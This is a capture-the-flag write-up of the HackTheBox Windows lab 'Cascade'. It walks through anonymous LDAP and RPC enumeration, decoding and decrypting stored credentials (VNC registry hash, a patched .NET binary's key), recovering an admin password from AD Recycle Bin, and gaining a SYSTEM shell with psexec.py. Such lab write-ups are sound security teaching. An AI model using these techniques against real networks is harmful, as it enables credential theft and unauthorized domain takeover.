HackTheBox - Cascade

HackTheBox - Cascade

Cascade is another fun Windows machine with Medium difficulty from HackTheBox created by VbScrub, the creator of Nest. It starts with by enumerating LDAP to find a custom LDAP attribute on one of the users to gain initial access to SMB shares. Enumeration on SMB discovers VNC credentials that can be decrypted using IRB. The credentials can be used to gain a foothold on the system. Another enumeration on SMB with those credentials finds a set of custom application. The database file used by the application contains an encrypted credentials of another user which can be decrypted by reversing the application. The last credentials I obtained allow me to recover the administrator password from AD Recycle Bin.

Skills Learned

  • RPC enumeration
  • Decrypting VNC password
  • Reversing .NET

Tools

Reconnaissance

Nmap

nmap shows the typical port used by Active Directory domain controller.

root@iamf# nmap -sC -sV -oA nmap/initial-cascade 10.10.10.182

...[SNIP]..
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-03 00:20:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2020-06-03T00:21:02
|_  start_date: 2020-06-02T04:24:21

...[SNIP]..

nmap reveals the AD domain name cascade.local and identifies the OS to be Windows Server 2008 R2 SP1

The full scan almost returns the same result, it discovers a WinRM port (5985).

root@iamf# nmap -p- -oA nmap/full-cascade cascade.htb

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown

I will add cascade.htb to my /etc/hosts

Enumeration

TCP 445 - SMB / RPC over SMB

Anonymous login is allowed on SMB port. I tried to list all the shares using smbclient but there was nothing there.

root@iamf# smbclient -N -L //10.10.10.182
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available

Enumeration via RPC

Knowing anonymous login is allowed on SMB, I can try it too on RPC using rpcclient and it works as well.

With current access, I can obtain the domain users and their groups manually.

User enumeration

root@iamf# rpcclient -U '%' 10.10.10.182
rpcclient $>
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

I’ll save the output to a file called users, and filter the usernames only then pipe it to users.list

root@iamf#  cat users | tr -d '[]' | cut -d ' ' -f1 | cut -c6- | tee users.list
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

Builtin group enumeration

rpcclient $> enumalsgroups builtin
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]

Domain group enumeration

rpcclient $> enumalsgroups domain
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44e]
group:[IT] rid:[0x459]
group:[Production] rid:[0x45a]
group:[HR] rid:[0x45b]
group:[AD Recycle Bin] rid:[0x45f]
group:[Backup] rid:[0x460]
group:[Temps] rid:[0x463]
group:[WinRMRemoteWMIUsers__] rid:[0x465]
group:[Remote Management Users] rid:[0x466]
group:[Factory] rid:[0x46c]
group:[Finance] rid:[0x46d]
group:[Audit Share] rid:[0x471]
group:[Data Share] rid:[0x472]

List group members:

Members of IT group (rid:0x459)

rpcclient $> queryaliasmem domain 0x459
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1106]
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1107]
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1109]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1109
S-1–5–21–3332504370–1206983947–1165150453–1109 CASCADE\r.thompson (1)

Members of Remote Management Users group (rid:0x466)

rpcclient $> queryaliasmem domain 0x466
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1106]
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1107]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)

Member of AD Recycle Bin

rpcclient $> queryaliasmem domain 0x45f
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1106]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)

Members of HR (rid:0x45b)

rpcclient $> queryaliasmem domain 0x45b
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1121]

Members of Audit group (rid:0x471)

rpcclient $> queryaliasmem domain 0x471
 sid:[S-1–5–21–3332504370–1206983947–1165150453–1107]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)

Members of Data share group (rid:0x472)

rpcclient $> queryaliasmem domain 0x472
 sid:[S-1–5–21–3332504370–1206983947–1165150453–513]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–513
S-1–5–21–3332504370–1206983947–1165150453–513 CASCADE\Domain Users (2)

After enough digging, I did a password spray with a pattern of “username%username”, but no luck.

Before moving on, I’ll note the Remote Management Users group members:

  • arksvc
  • s.smith

TCP 389 - LDAP

In LDAP, anonymous login are also allowed.

root@iamf# ldapsearch -h '10.10.10.182' -x -b "dc=cascade,dc=local" > ldap-enum

Nmap already identifies the Active Directory domain name as cascade.local. Because AD is basically based on the LDAP protocol, in LDAP form or known as a distinguished name, the AD domain usually follows “DC=NAME,DC=TLD”.

  • cascade = NAME
  • local = TLD (Top-Level Domain)

While examining the output from ldap-enum, I spotted an interesting line from user Ryan Thompson.

...[SNIP]...
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
...[SNIP]...
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
...[SNIP]...
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=

The cascadeLegacyPwd: clk0bjVldmE= line only appears on Ryan Thompson section and it can be decoded into rY4n5eva.

root@iamf# echo clk0bjVldmE= | base64 -d
rY4n5eva

I’ll mark the accounts that have a logonCount value greater than one:

image-20210423204454321

image-20210423204536286

Foothold

Access as r.thompson

It turns out that the decoded cascadeLegacyPwd is r.thompson ’s password.

With r.thompson creds, I can see all the available shares.

root@iamf# crackmapexec smb cascade.htb -u r.thompson -p 'rY4n5eva' --shares 

image-20210423204947026

Data share

In Data shares, r.thompson is only allowed to read IT folder. I’ll pull all the files from the IT folder using smbget.

Recall enumeration via RPC, r.thompson is a member of the IT group.

root@iamf# smbget -R smb://cascade.htb/Data/IT/ -U r.thompson
image-20210423205837847

Here is the directory structure of IT folder.

root@iamf# tree
.
└── IT
    ├── Email Archives
    │   └── Meeting_Notes_June_2018.html
    ├── LogonAudit
    ├── Logs
    │   ├── Ark AD Recycle Bin
    │   │   └── ArkAdRecycleBin.log
    │   └── DCs
    │       └── dcdiag.log
    └── Temp
        ├── r.thompson
        └── s.smith
            └── VNC Install.reg

9 directories, 4 files

The Meeting_Notes_June_2018.html is an email (I drew a red line to indicate something important)

image-20210423210730678

The second interesting file is VNC Install.reg. It contains a stored password which can be decrypted according to this GitHub (https://github.com/frizb/PasswordDecrypts)

□□Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
...[SNIP]...
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
...[SNIP]...

The third interesting file is ArkAdRecycleBin.log. It looks like a log from a custom application. I’ll take note on “Moving object to AD recycle bin CN=TempAdmin” part.

1/10/2018 15:43 [MAIN_THREAD]   ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
1/10/2018 15:43 [MAIN_THREAD]   Validating settings...
1/10/2018 15:43 [MAIN_THREAD]   Error: Access is denied
1/10/2018 15:43 [MAIN_THREAD]   Exiting with error code 5
2/10/2018 15:56 [MAIN_THREAD]   ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
2/10/2018 15:56 [MAIN_THREAD]   Validating settings...
2/10/2018 15:56 [MAIN_THREAD]   Running as user CASCADE\ArkSvc
2/10/2018 15:56 [MAIN_THREAD]   Moving object to AD recycle bin CN=Test,OU=Users,OU=UK,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD]   Successfully moved object. New location CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD]   Exiting with error code 0
8/12/2018 12:22 [MAIN_THREAD]   ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
8/12/2018 12:22 [MAIN_THREAD]   Validating settings...
8/12/2018 12:22 [MAIN_THREAD]   Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD]   Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD]   Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD]   Exiting with error code 0

As for dcdiag.log, up until now, I had no idea what that log was about.

Shell as s.smith

Decrypt VNC Password

The VNC password can be decrypted using metasploit irb (interactive ruby).

root@iamf# msfconsole -q
msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\x17Rk\x06#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0f"].pack('H*'), fixedkey
=> "sT333ve2"

Since it was discovered in s.smith’s folder, I will try this decrypted password on user s.smith.

Remote Access

From RPC enumeration, I already knew that user s.smith is a member of Remote Management Users, so I could try it with evil-winrm and it works.

root@iamf# evil-winrm -i cascade.htb -u s.smith -p 'sT333ve2'

I can grab user flag.

image-20210423213702788

Privilege Escalation

Shell as arksvc

Audit$ share

After enumerating s.smith’s privileges and groups, CASCADE\Audit Share reminds me to the Audit$ share, to which I previously had no access.

*Evil-WinRM PS C:\Users\s.smith\Documents> whoami /all

image-20210423214229455

I have read permissions now on Audit$.

root@iamf# crackmapexec smb cascade.htb -u s.smith -p st333ve2 --shares

image-20210423214742159

This share appears to contain an entire software application.

root@iamf# smbclient -U s.smith \\\\cascade.htb\\Audit$

image-20210423214817145

I’ll download them all from Cascade to my Kali.

root@iamf# smbget -R smb://cascade.htb/Audit$ -U s.smith

image-20210423215007263

The directory structure of the Audit$ share.

root@iamf# tree
.
├── CascAudit.exe
├── CascCrypto.dll
├── DB
│   └── Audit.db
├── RunAudit.bat
├── System.Data.SQLite.dll
├── System.Data.SQLite.EF6.dll
├── x64
│   └── SQLite.Interop.dll
└── x86
    └── SQLite.Interop.dll

3 directories, 8 files

Since this is a Windows program, I will send them over to my Windows.

root@iamf# file CascAudit.exe
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Analyzing Audit.db

Audit.db is an SQlite3 database. As I’m analyzing on my Windows without SQLite installed, I’ll use an online SQLite viewer.

There are four tables in the database.

image-20210423222130834

The records of the deleted AD object are kept in the DeletedUserAudit table.

image-20210423221127995

The Ldap table contains the credentials for ArkSvc.

image-20210423222309586

The password is not a simple base64 encoded string, but it is encrypted.

root@iamf# echo 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d
♣♥□□□□□□D□|zC□♠;#

Analyzing CascAudit.exe

When I run the program, it produces the following errors.

image-20210423223821767

Don’t run an untrusted binary you downloaded from a CTF box.

I use a tool called dnSpy to reverse CascAudit.exe. Once it is loaded, I will look at the main function.

public static void Main()
{
	if (MyProject.Application.CommandLineArgs.Count != 1)
	{
		Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
		return;
	}
    
...[SNIP]...
try
			{
				sqliteConnection.Open();
				using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
				{
					using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
					{
						sqliteDataReader.Read();
						str = Conversions.ToString(sqliteDataReader["Uname"]);
						str2 = Conversions.ToString(sqliteDataReader["Domain"]);
						string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
						try
						{
							password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
						}
						catch (Exception ex)
						{
							Console.WriteLine("Error decrypting password: " + ex.Message);
							return;
						}
					}
				}
				sqliteConnection.Close();
			}
...[SNIP]...

In order for the program to run properly, I need to specify the database path as its first argument.

...[SNIP]...
if (MyProject.Application.CommandLineArgs.Count != 1)
	{
		Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
		return;
	}
...[SNIP]...

If the condition above is satisfied, it opens an SQL connection and fetches all data from the Ldap table. Each of them is then stored into str, str2, and password (after Pwd get decrypted).

...[SNIP]...
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
{
	using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
	{
		sqliteDataReader.Read();
		str = Conversions.ToString(sqliteDataReader["Uname"]);
		str2 = Conversions.ToString(sqliteDataReader["Domain"]);
		string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
		try
		{
			password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
		}
...[SNIP]...

The interesting part in the code above is, of course, the password decrypt line.

Since I only need the decrypt function, I could just remove all the codes and put only this line below on the main function and then print it out using Console.Write().

password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");

Decrypt Password

First, I’ll enter edit mode on the current main function

image-20210423235935774

Then, I could only use the decrypt function in the main function. So the main function code now looks like this.

image-20210424000216346

I’ll save it as a new program called CascAuditModified.exe.

image-20210424000500081

Now if I run it, I get the decrypted password: w3lc0meFr31nd.

image-20210424000707924

Remote Access - Arksvc

From my RPC enumeration, ArkSvc is a member of Remote Management Users, so I can use it with evil-winrm.

root@iamf# evil-winrm -i cascade.htb -u arksvc -p 'w3lc0meFr31nd'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\arksvc\Documents>

Shell as NT Authority\System

Enumeration

I’ll wrap it up:

First, recall from RPC enumeration that user ArkSvc is also a member of AD Recycle Bin. The AD Recycle Bin group gives you permission to read deleted AD objects.

Second, according to the email sent by Steve Smith, there is a temporary admin account called TempAdmin that uses the same password as the “normal” admin account.

image-20210424003416214

But, based on ArkAdRecycleBin.log, TempAdmin has been moved into AD Recycle Bin.

...[SNIP]...
8/12/2018 12:22 [MAIN_THREAD]   Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD]   Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD]   Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD]   Exiting with error code 0

And now using ArksSvc account, I can search all the deleted objects using the command below:

*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * -includeDeletedObjects -SearchBase "DC=cascade,DC=local"

After looking through the output, I noticed that TempAdmin has one interesting properties. It is another cascadeLegacyPwd.

image-20210424004624882

I can decode the value to plaintext

root@iamf# echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

TempAdmin:baCT3r1aN00dles

Remote Access - NT Authority\System

The password works on the Administrator account, and I can obtain an interactive shell as NT Authority\System using psexec.py.

→ root@iamf «cascade» «192.168.43.234»
$ psexec.py cascade.local/administrator:'baCT3r1aN00dles'@cascade.htb
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on cascade.htb.....
[*] Found writable share ADMIN$
[*] Uploading file cIaTzKbH.exe
[*] Opening SVCManager on cascade.htb.....
[*] Creating service UhAX on cascade.htb.....
[*] Starting service UhAX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
CASC-DC1

Reference